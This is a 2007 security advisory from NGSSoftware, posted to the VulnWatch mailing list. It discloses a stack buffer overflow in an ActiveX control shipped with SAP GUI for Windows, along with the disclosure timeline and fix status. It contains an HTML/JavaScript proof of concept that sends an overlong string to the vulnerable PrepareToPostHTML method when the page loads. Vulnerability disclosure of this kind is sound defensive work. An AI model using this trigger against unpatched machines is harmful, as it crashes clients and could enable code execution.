

[VulnWatch] EnjoySAP, SAP GUI for Windows – Stack Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2007-07/msg00004.html>

- *From:* NGSSoftware Insight Security Research <mark@xxxxxxxxxxxxxxxxx>
 - *Date:* Thu, 05 Jul 2007 16:46:47 +0100
-

=====
Summary

=====
Name: EnjoySAP, SAP GUI for Windows – Stack Overflow
Release Date: 5 July 2007
Reference: NGS00483
Discover: Mark Litchfield <mark@xxxxxxxxxxxxxxxxx>
Vendor: SAP
Vendor Reference: SECRES-289
Systems Affected: All Versions
Risk: High
Status: Fixed

=====
TimeLine

=====
Discovered: 4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 11 January 2007
Fixed: 18 May 2007
Published:

=====
Description

=====
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today. The latest version can be obtained from <ftp://ftp.sap.com/pub/sapgui/win/>

When installing EnjoySAP, in appreciation of its vast size for being a client (around 500MB), there are an astounding 1102 ActiveX controls installed.

A relatively brief examination of these controls, found a large number of instances that would terminate EnjoySAP process, there were a number that could create files on the file system (there unfortunately exists no ability to inject content into these created files) and a number of bufferoverruns.

=====

Technical Details

=====

Control – kweditcontrol.kwedit.1 (Marked Safe For Scripting)

Function – PrepareToPostHTML

DLL Path – C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll

POC:

```
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>
```

```
function init()
{
var foo = "";

for(var icount = 0; icount < 1060; icount++) { foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");

ngssoftware["PrepareToPostHTML"](foo);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>
```

=====

Fix Information

=====

Please ensure you are running the latest version

NGSSoftware Insight Security Research

<http://www.ngssoftware.com/>

<http://www.databasesecurity.com/>

<http://www.nextgenss.com/>

+44(0)208 401 0070